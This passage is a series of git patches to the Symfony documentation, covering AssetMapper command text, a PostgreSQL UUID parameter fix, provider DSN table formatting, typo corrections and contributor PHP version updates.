 All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory,
 which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you).
-You'll need to run the ``php bin/console importmap:install``
-command to download the files on other computers if some are missing:
+To intialize your project on another computer, you'll need to run:
 
 .. code-block:: terminal
 

From 26d27b13451e258548415333cfd86f0d478453ba Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 4 Mar 2024 16:45:22 +0100
Subject: [PATCH 4521/5766] [AssetMapper] Merging `outdated` and `update`

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages

Reason: No need for 2 code blocks containing almost the same.
---
 frontend/asset_mapper.rst | 17 +++++------------
 1 file changed, 5 insertions(+), 12 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..996e18af2e1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -228,30 +228,23 @@ command to download the files on other computers if some are missing:
 
     The ``importmap:install`` command was introduced in Symfony 6.4.
 
-You can check for available updates for your third-party packages by running:
+You can update your third-party packages to their current versions by running:
 
 .. code-block:: terminal
 
     # check for updates for all packages
     $ php bin/console importmap:outdated
+    # update them
+    $ php bin/console importmap:update
 
-    # check for updates for the given list of packages
+    # only for the given list of packages
+    $ php bin/console importmap:update bootstrap lodash
     $ php bin/console importmap:outdated bootstrap lodash
 
 .. versionadded:: 6.4
 
     The ``importmap:outdated`` command was introduced in Symfony 6.4.
 
-To update third-party packages in your ``importmap.php`` file, run:
-
-.. code-block:: terminal
-
-    # updates all packages
-    $ php bin/console importmap:update
-
-    # updates only the given list of packages
-    $ php bin/console importmap:update bootstrap lodash
-
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 28d99f772051b4206d804c726e3633cac3b01fc5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 3 Mar 2024 17:20:30 +0100
Subject: [PATCH 4522/5766] [AssetMapper] Shortening "Optimizing Performance"

---
 frontend/asset_mapper.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..047f5161c8b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -635,8 +635,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  Or, proxy your site through a service like Cloudflare, which will
-  automatically compress your assets for you. In Cloudflare, you can also
+  In Cloudflare, you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 
@@ -658,7 +657,7 @@ Performance: Understanding Preloading
 
     Automatic preloading of JavaScript files was introduced in Symfony 6.4.
 
-One issue that LightHouse may report is:
+One issue that Lighthouse may report is:
 
     Avoid Chaining Critical Requests
 

From 669921f3564f3042c8d8967771bd39ec5e2ce6dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Mar 2024 17:11:43 +0100
Subject: [PATCH 4523/5766] Minor tweak

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 047f5161c8b..e72dd6c509d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -635,7 +635,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, you can also
+  In Cloudflare, assets are compressed by default and you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 

From 4f253a5cee202f28f5c83b1eb809615c0270233d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Mar 2024 17:16:33 +0100
Subject: [PATCH 4524/5766] Reword

---
 frontend/asset_mapper.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c71a3c44209..32087405871 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -217,7 +217,8 @@ Now you can import the ``bootstrap`` package like usual:
 
 All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory,
 which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you).
-To intialize your project on another computer, you'll need to run:
+You'll need to run the following command to download the files on other computers
+if some are missing:
 
 .. code-block:: terminal
 

From 8afb4022a17a88334bc2100fab2f6ae01dacd34c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Mar 2024 17:28:14 +0100
Subject: [PATCH 4525/5766] Tweaks

---
 frontend/asset_mapper.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 0c5dea52d37..88e1ccdb281 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -224,26 +224,23 @@ if some are missing:
 
     $ php bin/console importmap:install
 
-.. versionadded:: 6.4
-
-    The ``importmap:install`` command was introduced in Symfony 6.4.
-
 You can update your third-party packages to their current versions by running:
 
 .. code-block:: terminal
 
-    # check for updates for all packages
+    # lists outdated packages and shows their latest versions
     $ php bin/console importmap:outdated
-    # update them
+    # updates all the outdated packages
     $ php bin/console importmap:update
 
-    # only for the given list of packages
+    # you can also run the commands only for the given list of packages
     $ php bin/console importmap:update bootstrap lodash
     $ php bin/console importmap:outdated bootstrap lodash
 
 .. versionadded:: 6.4
 
-    The ``importmap:outdated`` command was introduced in Symfony 6.4.
+    The ``importmap:install`` and ``importmap:outdated`` commands were introduced
+    in Symfony 6.4.
 
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From d566ad44e6ba669621367b4d3ca7637794c3d4c4 Mon Sep 17 00:00:00 2001
From: Francis Hilaire <Prometee@users.noreply.github.com>
Date: Wed, 28 Feb 2024 16:53:14 +0100
Subject: [PATCH 4526/5766] PostgreSQL setparameter() compatibility

Using PostgreSQL, Doctrine will use UUID field type. If you don't specify the parameter type it will try to send a string instead of the binary content and fail with an error :

```
SQLSTATE[22021]: Character not in repertoire: 7 ERROR:  invalid byte sequence for encoding \"UTF8\": ...
CONTEXT:  unnamed portal parameter $1
```
---
 components/uid.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index f27977a8296..8febdc1ff88 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -285,6 +285,7 @@ of the UUID parameters::
     // src/Repository/ProductRepository.php
 
     // ...
+    use Doctrine\DBAL\ParameterType;
     use Symfony\Bridge\Doctrine\Types\UuidType;
 
     class ProductRepository extends ServiceEntityRepository
@@ -300,7 +301,8 @@ of the UUID parameters::
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine
-                ->setParameter('user', $user->getUuid()->toBinary())
+                // Note: ParameterType::BINARY is required to query PostgreSQL
+                ->setParameter('user', $user->getUuid()->toBinary(), ParameterType::BINARY)
             ;
 
             // ...

From 99a0a12a4e6a82dc87e178eb930bc8c09b7955c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Mar 2024 10:27:41 +0100
Subject: [PATCH 4527/5766] [Uid] Remove an unneeded comment

---
 components/uid.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index 8febdc1ff88..6ae9e0f504c 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -301,7 +301,6 @@ of the UUID parameters::
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine
-                // Note: ParameterType::BINARY is required to query PostgreSQL
                 ->setParameter('user', $user->getUuid()->toBinary(), ParameterType::BINARY)
             ;
 

From f5e545fd7f6640673f7f9524227fbc7934f172d2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 11:41:48 +0100
Subject: [PATCH 4528/5766] remove outdated directive

---
 frontend/asset_mapper.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8815126dd26..31bbf3718c9 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -233,11 +233,6 @@ You can update your third-party packages to their current versions by running:
     $ php bin/console importmap:update bootstrap lodash
     $ php bin/console importmap:outdated bootstrap lodash
 
-.. versionadded:: 6.4
-
-    The ``importmap:install`` and ``importmap:outdated`` commands were introduced
-    in Symfony 6.4.
-
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 62349a4fb6efb93d1826ab52472a06f72e4f2a7f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 11:54:22 +0100
Subject: [PATCH 4529/5766] add phrase in translation providers dsn list

---
 translation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/translation.rst b/translation.rst
index 5b0deada0fc..a8329a38f2a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -646,6 +646,7 @@ Provider               DSN
 Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
 Loco (localise.biz)    loco://API_KEY@default
 Lokalise               lokalise://PROJECT_ID:API_KEY@default
+Phrase                 phrase://PROJECT_ID:API_TOKEN@default?userAgent=myProject
 =====================  ==========================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and

From aef4f7426a77d8a55aa2f7536ad9218b33ed340f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 12:03:47 +0100
Subject: [PATCH 4530/5766] format dsn in translation documentation

---
 translation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/translation.rst b/translation.rst
index db44c43e568..412d3aa3c5e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -632,13 +632,13 @@ pull translations via Loco. The *only* part you need to change is the
 
 This table shows the full list of available DSN formats for each provider:
 
-=====================  ==========================================================
+=====================  ==============================================================
 Provider               DSN
-=====================  ==========================================================
-Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
-Loco (localise.biz)    loco://API_KEY@default
-Lokalise               lokalise://PROJECT_ID:API_KEY@default
-=====================  ==========================================================
+=====================  ==============================================================
+Crowdin                ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
+Loco (localise.biz)    ``loco://API_KEY@default``
+Lokalise               ``lokalise://PROJECT_ID:API_KEY@default``
+=====================  ==============================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:

From 93a3d050d6b8cd5f255d76f023e5a3ba5d37279f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 12:07:35 +0100
Subject: [PATCH 4531/5766] format dsn in mailer documentation

---
 mailer.rst | 102 ++++++++++++++++++++++++++---------------------------
 1 file changed, 51 insertions(+), 51 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 527fa3d3871..be404a134ab 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -173,57 +173,57 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-+------------------------+-----------------------------------------------------+
-| Provider               | Formats                                             |
-+========================+=====================================================+
-| `Amazon SES`_          | - SMTP ses+smtp://USERNAME:PASSWORD@default         |
-|                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
-|                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
-+------------------------+-----------------------------------------------------+
-| `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
-|                        | - HTTP n/a                                          |
-|                        | - API brevo+api://KEY@default                       |
-+------------------------+-----------------------------------------------------+
-| `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
-|                        | - HTTP n/a                                          |
-|                        | - API n/a                                           |
-+------------------------+-----------------------------------------------------+
-| `Infobip`_             | - SMTP infobip+smtp://KEY@default                   |
-|                        | - HTTP n/a                                          |
-|                        | - API infobip+api://KEY@BASE_URL                    |
-+------------------------+-----------------------------------------------------+
-| `Mandrill`_            | - SMTP mandrill+smtp://USERNAME:PASSWORD@default    |
-|                        | - HTTP mandrill+https://KEY@default                 |
-|                        | - API mandrill+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-| `MailerSend`_          | - SMTP mailersend+smtp://KEY@default                |
-|                        | - HTTP n/a                                          |
-|                        | - API mailersend+api://KEY@BASE_URL                 |
-+------------------------+-----------------------------------------------------+
-| `Mailgun`_             | - SMTP mailgun+smtp://USERNAME:PASSWORD@default     |
-|                        | - HTTP mailgun+https://KEY:DOMAIN@default           |
-|                        | - API mailgun+api://KEY:DOMAIN@default              |
-+------------------------+-----------------------------------------------------+
-| `Mailjet`_             | - SMTP mailjet+smtp://ACCESS_KEY:SECRET_KEY@default |
-|                        | - HTTP n/a                                          |
-|                        | - API mailjet+api://ACCESS_KEY:SECRET_KEY@default   |
-+------------------------+-----------------------------------------------------+
-| `MailPace`_            | - SMTP mailpace+api://API_TOKEN@default             |
-|                        | - HTTP n/a                                          |
-|                        | - API mailpace+api://API_TOKEN@default              |
-+------------------------+-----------------------------------------------------+
-| `Postmark`_            | - SMTP postmark+smtp://ID@default                   |
-|                        | - HTTP n/a                                          |
-|                        | - API postmark+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-| `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
-|                        | - HTTP n/a                                          |
-|                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
-+------------------------+-----------------------------------------------------+
-| `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
-|                        | - HTTP n/a                                          |
-|                        | - API sendgrid+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
++------------------------+---------------------------------------------------------+
+| Provider               | Formats                                                 |
++========================+=========================================================+
+| `Amazon SES`_          | - SMTP ``ses+smtp://USERNAME:PASSWORD@default``         |
+|                        | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default``    |
+|                        | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default``       |
++------------------------+---------------------------------------------------------+
+| `Brevo`_               | - SMTP ``brevo+smtp://USERNAME:PASSWORD@default``       |
+|                        | - HTTP n/a                                              |
+|                        | - API ``brevo+api://KEY@default``                       |
++------------------------+---------------------------------------------------------+
+| `Google Gmail`_        | - SMTP ``gmail+smtp://USERNAME:APP-PASSWORD@default``   |
+|                        | - HTTP n/a                                              |
+|                        | - API n/a                                               |
++------------------------+---------------------------------------------------------+
+| `Infobip`_             | - SMTP ``infobip+smtp://KEY@default``                   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``infobip+api://KEY@BASE_URL``                    |
++------------------------+---------------------------------------------------------+
+| `Mandrill`_            | - SMTP ``mandrill+smtp://USERNAME:PASSWORD@default``    |
+|                        | - HTTP ``mandrill+https://KEY@default``                 |
+|                        | - API ``mandrill+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+| `MailerSend`_          | - SMTP ``mailersend+smtp://KEY@default``                |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailersend+api://KEY@BASE_URL``                 |
++------------------------+---------------------------------------------------------+
+| `Mailgun`_             | - SMTP ``mailgun+smtp://USERNAME:PASSWORD@default``     |
+|                        | - HTTP ``mailgun+https://KEY:DOMAIN@default``           |
+|                        | - API ``mailgun+api://KEY:DOMAIN@default``              |
++------------------------+---------------------------------------------------------+
+| `Mailjet`_             | - SMTP ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default`` |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``   |
++------------------------+---------------------------------------------------------+
+| `MailPace`_            | - SMTP ``mailpace+api://API_TOKEN@default``             |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailpace+api://API_TOKEN@default``              |
++------------------------+---------------------------------------------------------+
+| `Postmark`_            | - SMTP ``postmark+smtp://ID@default``                   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``postmark+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+| `Scaleway`_            | - SMTP ``scaleway+smtp://PROJECT_ID:API_KEY@default``   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``scaleway+api://PROJECT_ID:API_KEY@default``     |
++------------------------+---------------------------------------------------------+
+| `Sendgrid`_            | - SMTP ``sendgrid+smtp://KEY@default``                  |
+|                        | - HTTP n/a                                              |
+|                        | - API ``sendgrid+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
 
 .. versionadded:: 6.3
 

From a96aafe92f06c9c36aedd3f4289bf38496cab4e7 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 19:17:02 +0100
Subject: [PATCH 4532/5766] fix typo in notifier doc

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index ae1ac4ab740..fe3f0ff0ea5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -831,8 +831,8 @@ Using Events
 The :class:`Symfony\\Component\\Notifier\\Transport` class of the Notifier component
 allows you to optionally hook into the lifecycle via events.
 
-The ``MessageEvent::class`` Event
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``MessageEvent`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Doing something before the message is sent (like logging
 which message is going to be sent, or displaying something about the event

From e0a732ba67e8d0a95d78d3f65eeabd3c9dd3b20c Mon Sep 17 00:00:00 2001
From: Giovanni Gioffreda <giovanni.gioffreda@gmail.com>
Date: Fri, 8 Mar 2024 08:51:56 +1300
Subject: [PATCH 4533/5766] Remove "click here" from links

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index f5609ae394a..398dced44e4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -784,7 +784,7 @@ Then, create the template:
     <p><code>{{ email.to[0].address }}</code></p>
 
     <p>
-        <a href="#">Click here to activate your account</a>
+        <a href="#">Activate your account</a>
         (this link is valid until {{ expiration_date|date('F jS') }})
     </p>
 
@@ -1005,7 +1005,7 @@ the entire email contents from Markdown to HTML:
         You signed up to our site using the following email:
         `{{ email.to[0].address }}`
 
-        [Click here to activate your account]({{ url('...') }})
+        [Activate your account]({{ url('...') }})
     {% endapply %}
 
 .. _mailer-inky:

From 43bd627881bed7969f67fe98738b647402dad932 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Mar 2024 09:03:37 +0100
Subject: [PATCH 4534/5766] Minor tweak

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8b256cecbbf..761a8fd190e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -15,8 +15,8 @@ The component has two main features:
 
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
   are made available publicly and **versioned**. You can reference the file
-  ``assets/images/product.jpeg`` in a Twig template with ``{{ asset('images/product.jpeg') }}``.
-  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpeg``.
+  ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)

From 351f981b794a634f28580df8de1cddbf5f66e4f2 Mon Sep 17 00:00:00 2001
From: Valerio Colella <31210514+PrOF-kk@users.noreply.github.com>
Date: Fri, 8 Mar 2024 17:56:36 +0100
Subject: [PATCH 4535/5766] Fix missing backtick

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 398dced44e4..8f231be4520 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -247,7 +247,7 @@ Provider              SMTP                                                     H
 .. note::
 
     The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration.
-    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp` transports.
+    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp`` transports.
     If you need to change the port, use the ``smtp`` transport instead, like so:
 
     .. code-block:: env

From effeaf7a38f949722ad319222a5c9c69d2f4c0b8 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Sat, 9 Mar 2024 08:55:33 +0100
Subject: [PATCH 4536/5766] Replace Webpack with AssetMapper

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 3ba9b9f59a5..05de5856878 100644
--- a/templates.rst
+++ b/templates.rst
@@ -330,7 +330,7 @@ Build, Versioning & More Advanced CSS, JavaScript and Image Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 For help building, versioning and minifying your JavaScript and
-CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+CSS assets in a modern way, read about :doc:`Symfony's Asset Mapper </frontend>`.
 
 .. _twig-app-variable:
 

From 826615a830fee0c70c9d1d240ba7a9ef21070008 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 11 Mar 2024 08:10:44 +0100
Subject: [PATCH 4537/5766] keep use statement for the Response class

---
 quick_tour/flex_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index c058008b84a..856b4271205 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -80,7 +80,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
       namespace App\Controller;
 
       use Symfony\Component\Routing\Attribute\Route;
-    - use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class DefaultController

From ea8efb0d8d05684afd0bdc2ab71dfbbe014973c8 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 11 Mar 2024 08:16:57 +0100
Subject: [PATCH 4538/5766] update method names to reflect latest code changes

---
 components/clock.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index d3879fba84e..45ec484eef5 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -238,8 +238,8 @@ The constructor also allows setting a timezone or custom referenced date::
 ``DatePoint`` also allows to set and get the microsecond part of the date and time::
 
     $datePoint = new DatePoint();
-    $datePoint->setMicroseconds(345);
-    $microseconds = $datePoint->getMicroseconds();
+    $datePoint->setMicrosecond(345);
+    $microseconds = $datePoint->getMicrosecond();
 
 .. note::
 
@@ -248,8 +248,8 @@ The constructor also allows setting a timezone or custom referenced date::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicroseconds` and
-    :method:`Symfony\\Component\\Clock\\DatePoint::getMicroseconds` methods were
+    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicrosecond` and
+    :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were
     introduced in Symfony 7.1.
 
 .. _clock_writing-tests:

From ba0378c100f2d41e752e9d33fa501e07439ae112 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 09:04:14 +0100
Subject: [PATCH 4539/5766] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 95ee6bb89a6..7b51b2ab3cb 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 7.2.5 or above.
+* PHP version 8.1 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From bbe6d9133aaaec4cf870f109b8f8c4d77e127a31 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 09:06:22 +0100
Subject: [PATCH 4540/5766] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 95ee6bb89a6..7c9ab2579a5 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 7.2.5 or above.
+* PHP version 8.2 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From 4b54e2c12c71439fb1046816cb78e126fa76c5b0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Sun, 10 Mar 2024 15:39:58 +0100
Subject: [PATCH 4541/5766] Update contributing/code/tests.rst page

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 8bffc4aa4bc..e6af1170e3d 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=5.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=6.4.x-dev composer update
 
 .. _running:
 

From 075c29fa816c1a29c9d23d6418950b7e67bd2e9e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Sun, 10 Mar 2024 15:41:43 +0100
Subject: [PATCH 4542/5766] Update contributing/code/tests.rst page

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index e6af1170e3d..58b4aa74d61 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=6.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.0.x-dev composer update
 
 .. _running:
 

From 3b2a5bd3499315bf60e668f1bd3a9bf9dfa27758 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Mar 2024 09:30:53 +0100
Subject: [PATCH 4543/5766] Update the test article of the contribution guide

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 58b4aa74d61..08f6bc5df12 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=7.0.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.1.x-dev composer update
 
 .. _running:
 

From 3a6e5ec8f484fa8fe8d57309676537bf5416241d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 09:05:39 +0100
Subject: [PATCH 4544/5766] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7b51b2ab3cb..7c9ab2579a5 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 8.1 or above.
+* PHP version 8.2 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From 876cbc034f8a327277395d762af5dd63542259b1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 3 Feb 2024 15:57:55 +0100
Subject: [PATCH 4545/5766] [Emoji] Emoji component

---
 components/emoji.rst | 122 +++++++++++++++++++++++++++++++++++++++++++
